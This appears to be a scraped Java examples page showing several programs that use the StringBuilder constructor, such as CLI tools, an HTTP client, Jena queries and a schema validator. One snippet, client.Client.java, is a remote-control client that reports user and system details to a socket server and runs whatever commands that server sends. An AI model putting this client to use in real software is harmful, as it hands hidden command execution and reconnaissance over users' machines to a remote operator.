Example usage for java.lang StringBuilder StringBuilder

List of usage examples for java.lang StringBuilder StringBuilder

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Introduction

In this page you can find the example usage for java.lang StringBuilder StringBuilder.

Prototype

@HotSpotIntrinsicCandidate
public StringBuilder()

Source Link

Document

Constructs a string builder with no characters in it and an initial capacity of 16 characters.

Usage

From source file:de.zazaz.iot.bosch.indego.util.IndegoIftttAdapter.java

public static void main(String[] args) {
    System.setProperty("log4j.configurationFile", "log4j2-indegoIftttAdapter-normal.xml");

    Options options = new Options();

    StringBuilder commandList = new StringBuilder();
    for (DeviceCommand cmd : DeviceCommand.values()) {
        if (commandList.length() > 0) {
            commandList.append(", ");
        }/*  w  ww  .j a  v  a 2  s. c  o m*/
        commandList.append(cmd.toString());
    }

    options.addOption(Option //
            .builder("c") //
            .longOpt("config") //
            .desc("The configuration file to use") //
            .required() //
            .hasArg() //
            .build());
    options.addOption(Option //
            .builder("d") //
            .longOpt("debug") //
            .desc("Logs more details") //
            .build());
    options.addOption(Option //
            .builder("?") //
            .longOpt("help") //
            .desc("Prints this help") //
            .build());

    CommandLineParser parser = new DefaultParser();
    CommandLine cmds = null;
    try {
        cmds = parser.parse(options, args);
    } catch (ParseException ex) {
        System.err.println(ex.getMessage());
        System.err.println();
        HelpFormatter formatter = new HelpFormatter();
        formatter.printHelp(IndegoIftttAdapter.class.getName(), options);
        System.exit(1);
        return;
    }

    if (cmds.hasOption("?")) {
        HelpFormatter formatter = new HelpFormatter();
        formatter.printHelp(CmdLineTool.class.getName(), options);
        return;
    }

    if (cmds.hasOption("d")) {
        System.setProperty("log4j.configurationFile", "log4j2-indegoIftttAdapter-debug.xml");
    }

    String configFileName = cmds.getOptionValue('c');
    File configFile = new File(configFileName);

    if (!configFile.exists()) {
        System.err.println(String.format("The specified config file (%s) does not exist", configFileName));
        System.err.println();
        System.exit(2);
        return;
    }

    Properties properties = new Properties();
    try (InputStream in = new FileInputStream(configFile)) {
        properties.load(in);
    } catch (IOException ex) {
        System.err.println(ex.getMessage());
        System.err.println(String.format("Was not able to load the properties file (%s)", configFileName));
        System.err.println();
    }

    IftttIndegoAdapterConfiguration config = new IftttIndegoAdapterConfiguration();
    config.setIftttMakerKey(properties.getProperty("indego.ifttt.maker.key"));
    config.setIftttIgnoreServerCertificate(
            Integer.parseInt(properties.getProperty("indego.ifttt.maker.ignore-server-certificate")) != 0);
    config.setIftttReceiverPort(Integer.parseInt(properties.getProperty("indego.ifttt.maker.receiver-port")));
    config.setIftttReceiverSecret(properties.getProperty("indego.ifttt.maker.receiver-secret"));
    config.setIftttOfflineEventName(properties.getProperty("indego.ifttt.maker.eventname-offline"));
    config.setIftttOnlineEventName(properties.getProperty("indego.ifttt.maker.eventname-online"));
    config.setIftttErrorEventName(properties.getProperty("indego.ifttt.maker.eventname-error"));
    config.setIftttErrorClearedEventName(properties.getProperty("indego.ifttt.maker.eventname-error-cleared"));
    config.setIftttStateChangeEventName(properties.getProperty("indego.ifttt.maker.eventname-state-change"));
    config.setIndegoBaseUrl(properties.getProperty("indego.ifttt.device.base-url"));
    config.setIndegoUsername(properties.getProperty("indego.ifttt.device.username"));
    config.setIndegoPassword(properties.getProperty("indego.ifttt.device.password"));
    config.setPollingIntervalMs(Integer.parseInt(properties.getProperty("indego.ifttt.polling-interval-ms")));

    IftttIndegoAdapter adapter = new IftttIndegoAdapter(config);
    adapter.startup();
}

From source file:an.dpr.cyclingresultsapi.ClientExecuteProxy.java

public static void main(String[] args) throws Exception {
    CloseableHttpClient httpclient = HttpClients.createDefault();
    StringBuilder ret = new StringBuilder();
    try {/*from   w  ww . java2 s  .  c  o m*/
        //http://cyclingresults-dprsoft.rhcloud.com/rest/competitions/query/20140101,20140601,1,1,UWT
        //            HttpHost target = new HttpHost("cyclingresults-dprsoft.rhcloud.com", 80, "http");
        HttpHost proxy = null;// = new HttpHost("proxy.sdc.hp.com", 8080, "http");
        HttpHost target = new HttpHost("localhost", 8282, "http");

        RequestConfig config = RequestConfig.custom()
                //                    .setProxy(proxy)
                .build();
        HttpGet request = new HttpGet("/rest/competitions/query/20130801,20130901,1,1,UWT");
        request.setConfig(config);

        System.out.println("Executing request " + request.getRequestLine() + " to " + target + " via " + proxy);

        CloseableHttpResponse response = httpclient.execute(target, request);
        InputStreamReader isr = new InputStreamReader(response.getEntity().getContent(), "cp1252");
        BufferedReader br = new BufferedReader(isr);
        String line;
        while ((line = br.readLine()) != null) {
            ret.append(line);
        }
        try {
            System.out.println("----------------------------------------");
            System.out.println(response.getStatusLine());
            EntityUtils.consume(response.getEntity());
        } finally {
            response.close();
        }
    } finally {
        httpclient.close();
    }
    System.out.println(ret.toString());
}

From source file:com.dianping.wed.cache.redis.util.TestDataUtil.java

public static void main(String[] args) {
    // ????//  w  w w  .j av a2  s  .c  o  m

    //&method=incr&parameterTypes=com.dianping.wed.cache.redis.dto.WeddingRedisKeyDTO&parameters={"category":"justtest","params":["1","2"]}
    List<String> opList = new ArrayList<String>(opAndKey.keySet());
    for (int i = 0; i < 1000; i++) {
        int index = RandomUtils.nextInt(opList.size());
        String op = opList.get(index);
        String key = opAndKey.get(op);
        StringBuilder result = new StringBuilder();
        int params = buildTestUrl(result, op, key);

        String fileName = "/Users/Bob/Desktop/data/data-" + params + ".csv";
        try {
            //kuka.txt
            //kuka.txt
            FileWriter writer = new FileWriter(fileName, true);
            writer.write(result.toString());
            writer.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    System.out.println("done");
}

From source file:de.zazaz.iot.bosch.indego.util.CmdLineTool.java

public static void main(String[] args) {
    Options options = new Options();

    StringBuilder commandList = new StringBuilder();
    for (DeviceCommand cmd : DeviceCommand.values()) {
        if (commandList.length() > 0) {
            commandList.append(", ");
        }/*ww w  . j  av  a 2 s  .com*/
        commandList.append(cmd.toString());
    }

    options.addOption(Option //
            .builder() //
            .longOpt("base-url") //
            .desc("Sets the base URL of the web service") //
            .hasArg() //
            .build());
    options.addOption(Option //
            .builder("u") //
            .longOpt("username") //
            .desc("The username for authentication (usually mail address)") //
            .required() //
            .hasArg() //
            .build());
    options.addOption(Option //
            .builder("p") //
            .longOpt("password") //
            .desc("The password for authentication") //
            .required() //
            .hasArg() //
            .build());
    options.addOption(Option //
            .builder("c") //
            .longOpt("command") //
            .desc(String.format("The command, which should be sent to the device (%s)", commandList)) //
            .hasArg() //
            .build());
    options.addOption(Option //
            .builder("q") //
            .longOpt("query-status") //
            .desc("Queries the status of the device") //
            .build());
    options.addOption(Option //
            .builder() //
            .longOpt("query-calendar") //
            .desc("Queries the calendar of the device") //
            .build());
    options.addOption(Option //
            .builder("?") //
            .longOpt("help") //
            .desc("Prints this help") //
            .build());

    CommandLineParser parser = new DefaultParser();
    CommandLine cmds = null;
    try {
        cmds = parser.parse(options, args);
    } catch (ParseException ex) {
        System.err.println(ex.getMessage());
        System.err.println();
        HelpFormatter formatter = new HelpFormatter();
        formatter.printHelp(CmdLineTool.class.getName(), options);
        System.exit(1);
        return;
    }

    if (cmds.hasOption("?")) {
        HelpFormatter formatter = new HelpFormatter();
        formatter.printHelp(CmdLineTool.class.getName(), options);
        return;
    }

    String baseUrl = cmds.getOptionValue("base-url");
    String username = cmds.getOptionValue('u');
    String password = cmds.getOptionValue('p');
    String commandStr = cmds.getOptionValue('c');
    boolean doQueryState = cmds.hasOption('q');
    boolean doQueryCalendar = cmds.hasOption("query-calendar");

    DeviceCommand command = null;
    if (commandStr != null) {
        try {
            command = DeviceCommand.valueOf(commandStr.toUpperCase());
        } catch (IllegalArgumentException ex) {
            System.err.println("Unknown command: " + commandStr);
            System.exit(1);
        }
    }

    IndegoController controller = new IndegoController(baseUrl, username, password);
    try {
        System.out.println("Connecting to device");
        controller.connect();
        System.out.println(String.format("...Connection established. Device serial number is: %s",
                controller.getDeviceSerialNumber()));
        if (command != null) {
            System.out.println(String.format("Sending command (%s)...", command));
            controller.sendCommand(command);
            System.out.println("...Command sent successfully!");
        }
        if (doQueryState) {
            System.out.println("Querying device state");
            DeviceStateInformation state = controller.getState();
            printState(System.out, state);
        }
        if (doQueryCalendar) {
            System.out.println("Querying device calendar");
            DeviceCalendar calendar = controller.getCalendar();
            printCalendar(System.out, calendar);
        }
    } catch (IndegoException ex) {
        ex.printStackTrace();
        System.exit(2);
    } finally {
        controller.disconnect();
    }
}

From source file:com.yahoo.flowetl.commons.runner.Main.java

/**
 * The main method entry point.//from   w ww. ja  v  a 2 s .  c  o  m
 */
public static void main(String[] args) throws Exception {
    if (args.length == 0) {
        System.out.println(
                Main.class.getSimpleName() + " [runner fully qualified java class name] arguments ...");
        return;
    }
    System.out.println("+Argument info:");
    StringBuilder argsStr = new StringBuilder();
    for (int i = 0; i < args.length; i++) {
        argsStr.append("(" + (i + 1) + ") " + args[i] + " [" + args[i].length() + " chars]");
        if (i + 1 != args.length) {
            argsStr.append(" ");
        }
    }
    System.out.println(argsStr);
    Map<String, Object> sysInfo = getRuntimeInfo();
    System.out.println("+Runtime info:");
    for (Entry<String, Object> e : sysInfo.entrySet()) {
        System.out.println("--- " + e.getKey() + " => " + (e.getValue() == null ? "" : e.getValue()));
    }
    String classToRun = args[0];
    Class<?> testToRun = KlassUtils.getClassForName(classToRun);
    if (KlassUtils.isAbstract(testToRun) || KlassUtils.isInterface(testToRun)) {
        System.out.println("+Runner class name that is not abstract or an interface is required!");
        return;
    }
    if (ClassUtils.isAssignable(testToRun, (Runner.class)) == false) {
        System.out.println("+Runner class name that is a instance/subclass of " + Runner.class.getSimpleName()
                + " is required!");
        return;
    }
    Class<Runner> rToRun = KlassUtils.getClassForName(classToRun);
    System.out.println("+Running program specified by runner class " + rToRun);
    Runner r = KlassUtils.getInstanceOf(rToRun, new Object[] {});
    String[] nargs = (String[]) ArrayUtils.subarray(args, 1, args.length);
    System.out.println("+Proxying to object " + r + " with arguments [" + StringUtils.join(nargs, ",") + "]");
    r.runProgram(nargs);
}

From source file:StringBuilderDemo.java

public static void main(String[] argv) {

    String s1 = "Hello" + ", " + "World";
    System.out.println(s1);//w  ww  .  ja  va 2  s .com

    // Build a StringBuilder, and append some things to it.
    StringBuilder sb2 = new StringBuilder();
    sb2.append("Hello");
    sb2.append(',');
    sb2.append(' ');
    sb2.append("World");

    // Get the StringBuilder's value as a String, and print it.
    String s2 = sb2.toString();
    System.out.println(s2);

    // Now do the above all over again, but in a more
    // concise (and typical "real-world" Java) fashion.

    StringBuilder sb3 = new StringBuilder().append("Hello").append(',').append(' ').append("World");
    System.out.println(sb3.toString());
}

From source file:de.uniko.west.winter.test.basics.JenaTests.java

public static void main(String[] args) {

    Model newModel = ModelFactory.createDefaultModel();
    //      //from  ww  w  .  ja va2 s .c o  m
    Model newModel2 = ModelFactory.createModelForGraph(ModelFactory.createMemModelMaker().getGraphMaker()
            .createGraph("http://www.defaultgraph.de/graph1"));
    StringBuilder updateString = new StringBuilder();
    updateString.append("PREFIX dc: <http://purl.org/dc/elements/1.1/>");
    updateString.append("PREFIX xsd: <http://bla.org/dc/elements/1.1/>");
    updateString.append("INSERT { ");
    updateString.append(
            "<http://example/egbook1> dc:title  <http://example/egbook1/#Title1>, <http://example/egbook1/#Title2>. ");
    //updateString.append("<http://example/egbook1> dc:title  \"Title1.1\". ");
    //updateString.append("<http://example/egbook1> dc:title  \"Title1.2\". ");
    updateString.append("<http://example/egbook21> dc:title  \"Title2\"; ");
    updateString.append("dc:title  \"2.0\"^^xsd:double. ");
    updateString.append("<http://example/egbook3> dc:title  \"Title3\". ");
    updateString.append("<http://example/egbook4> dc:title  \"Title4\". ");
    updateString.append("<http://example/egbook5> dc:title  \"Title5\". ");
    updateString.append("<http://example/egbook6> dc:title  \"Title6\" ");
    updateString.append("}");

    UpdateRequest update = UpdateFactory.create(updateString.toString());
    UpdateAction.execute(update, newModel);

    StmtIterator iter = newModel.listStatements();
    System.out.println("After add");
    while (iter.hasNext()) {
        System.out.println(iter.next().toString());

    }

    StringBuilder constructQueryString = new StringBuilder();
    constructQueryString.append("PREFIX dc: <http://purl.org/dc/elements/1.1/>");
    constructQueryString.append("CONSTRUCT {?sub dc:title <http://example/egbook1/#Title1>}");
    constructQueryString.append("WHERE {");
    constructQueryString.append("?sub dc:title <http://example/egbook1/#Title1>");
    constructQueryString.append("}");

    StringBuilder askQueryString = new StringBuilder();
    askQueryString.append("PREFIX dc: <http://purl.org/dc/elements/1.1/>");
    askQueryString.append("ASK {");
    askQueryString.append("?sub dc:title <http://example/egbook1/#Title1>");
    askQueryString.append("}");

    StringBuilder selectQueryString = new StringBuilder();
    selectQueryString.append("PREFIX dc: <http://purl.org/dc/elements/1.1/>");
    selectQueryString.append("SELECT * ");
    selectQueryString.append("WHERE {");
    selectQueryString.append("?sub ?pred ?obj");
    selectQueryString.append("}");

    Query cquery = QueryFactory.create(constructQueryString.toString());
    System.out.println(cquery.getQueryType());
    Query aquery = QueryFactory.create(askQueryString.toString());
    System.out.println(aquery.getQueryType());
    Query query = QueryFactory.create(selectQueryString.toString());
    System.out.println(query.getQueryType());
    QueryExecution queryExecution = QueryExecutionFactory.create(query, newModel);

    ByteArrayOutputStream baos = new ByteArrayOutputStream();

    URI test = null;
    try {
        test = new URI("http://bla.org/dc/elements/1.1/double");
    } catch (URISyntaxException e1) {
        // TODO Auto-generated catch block
        e1.printStackTrace();
    }
    System.out.println(test.getPath().toString().substring(test.getPath().lastIndexOf("/") + 1));
    System.out.println("java.lang."
            + test.getPath().toString().substring(test.getPath().lastIndexOf("/") + 1).substring(0, 1)
                    .toUpperCase()
            + test.getPath().toString().substring(test.getPath().lastIndexOf("/") + 1).substring(1));

    String typ = "java.lang.Boolean";
    String val = "true";

    try {
        Object typedLiteral = Class.forName(typ, true, ClassLoader.getSystemClassLoader())
                .getConstructor(String.class).newInstance(val);

        System.out.println("Type: " + typedLiteral.getClass().getName() + " Value: " + typedLiteral);
    } catch (IllegalArgumentException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (SecurityException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (InstantiationException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (IllegalAccessException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (InvocationTargetException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (NoSuchMethodException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (ClassNotFoundException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }

    try {
        System.out.println("Query...");
        com.hp.hpl.jena.query.ResultSet results = queryExecution.execSelect();
        System.out.println("RESULT:");
        ResultSetFormatter.output(System.out, results, ResultSetFormat.syntaxJSON);
        //         
        //         
        //         ResultSetFormatter.outputAsJSON(baos, results);
        //         System.out.println(baos.toString());
        //         System.out.println("JsonTest: ");
        //         JSONObject result = new JSONObject(baos.toString("ISO-8859-1"));
        //         for (Iterator key = result.keys(); result.keys().hasNext(); ){
        //            System.out.println(key.next());
        //            
        //            for (Iterator key2 = ((JSONObject)result.getJSONObject("head")).keys(); key2.hasNext(); ){
        //               System.out.println(key2.next());
        //            }
        //         }

        //         Model results = queryExecution.execConstruct();

        //         results.write(System.out, "TURTLE");
        //         for ( ; results.hasNext() ; ){
        //            QuerySolution soln = results.nextSolution() ;
        //            RDFNode x = soln.get("sub") ;   
        //            System.out.println("result: "+soln.get("sub")+" hasTitle "+soln.get("obj"));
        //             Resource r = soln.getResource("VarR") ; 
        //             Literal l = soln.getLiteral("VarL") ; 
        //
        //         }

    } catch (Exception e) {
        // TODO: handle exception
    }

    //      StringBuilder updateString2 = new StringBuilder();
    //      updateString2.append("PREFIX dc: <http://purl.org/dc/elements/1.1/>");
    //      updateString2.append("DELETE DATA { ");
    //      updateString2.append("<http://example/egbook3> dc:title  \"Title3\" ");
    //      updateString2.append("}");
    //
    //      UpdateAction.parseExecute(updateString2.toString(), newModel);
    //      
    //      iter = newModel.listStatements();
    //      System.out.println("After delete");
    //      while (iter.hasNext()) {
    //         System.out.println(iter.next().toString());
    //            
    //      }
    //      
    //      StringBuilder updateString3 = new StringBuilder();
    //      updateString3.append("PREFIX dc: <http://purl.org/dc/elements/1.1/>");
    //      updateString3.append("DELETE DATA { ");
    //      updateString3.append("<http://example/egbook6> dc:title  \"Title6\" ");
    //      updateString3.append("}");
    //      updateString3.append("INSERT { ");
    //      updateString3.append("<http://example/egbook6> dc:title  \"New Title6\" ");
    //      updateString3.append("}");
    //   
    //      UpdateAction.parseExecute(updateString3.toString(), newModel);

    //      UpdateAction.parseExecute(   "prefix exp: <http://www.example.de>"+
    //                           "prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>"+
    //                           "INSERT { graph <http://www.defaultgraph.de/graph1> {"+
    //                           "   <http://www.test.de#substructure1> <exp:has_relation3> <http://www.test.de#substructure2> ."+ 
    //                           "   <http://www.test.de#substructure1> <rdf:type> <http://www.test.de#substructuretype1> ."+ 
    //                           "   <http://www.test.de#substructure2> <rdf:type> <http://www.test.de#substructuretype2> ."+
    //                           "}}", newModel2);
    //      
    //      iter = newModel.listStatements();
    //      System.out.println("After update");
    //      while (iter.hasNext()) {
    //         System.out.println(iter.next().toString());
    //            
    //      }
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//* www.  jav a2  s .c  om*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:com.nextdoor.bender.ValidateSchema.java

public static void main(String[] args) throws ParseException, InterruptedException, IOException {

    /*/*  w w  w  . j  ava  2 s  . c  o  m*/
     * Parse cli arguments
     */
    Options options = new Options();
    options.addOption(Option.builder().longOpt("schema").hasArg()
            .desc("Filename to output schema to. Default: schema.json").build());
    options.addOption(Option.builder().longOpt("configs").hasArgs()
            .desc("List of config files to validate against schema.").build());
    CommandLineParser parser = new DefaultParser();
    CommandLine cmd = parser.parse(options, args);

    String schemaFilename = cmd.getOptionValue("schema", "schema.json");
    String[] configFilenames = cmd.getOptionValues("configs");

    /*
     * Validate config files against schema
     */
    boolean hasFailures = false;
    for (String configFilename : configFilenames) {
        StringBuilder sb = new StringBuilder();
        Files.lines(Paths.get(configFilename), StandardCharsets.UTF_8).forEach(p -> sb.append(p + "\n"));

        System.out.println("Attempting to validate " + configFilename);
        try {
            ObjectMapper mapper = BenderConfig.getObjectMapper(configFilename);
            mapper.setPropertyNamingStrategy(PropertyNamingStrategy.CAMEL_CASE_TO_LOWER_CASE_WITH_UNDERSCORES);
            BenderConfig.load(configFilename, sb.toString(), mapper, true);
            System.out.println("Valid");
            BenderConfig config = BenderConfig.load(configFilename, sb.toString());
        } catch (ConfigurationException e) {
            System.out.println("Invalid");
            e.printStackTrace();
            hasFailures = true;
        }
    }

    if (hasFailures) {
        System.exit(1);
    }
}

From source file:de.tudarmstadt.ukp.experiments.argumentation.clustering.debatefiltering.LuceneSearcher.java

public static void main(String[] args) throws Exception {
    LuceneSearcher luceneSearcher = new LuceneSearcher();
    JCommander jCommander = new JCommander(luceneSearcher);
    try {/*from www.  j  ava  2 s  . c  om*/
        jCommander.parse(args);
    } catch (ParameterException ex) {
        StringBuilder sb = new StringBuilder();
        jCommander.usage(sb);
        System.err.println(sb);
        throw ex;
    }

    luceneSearcher.searchAndCopy();
}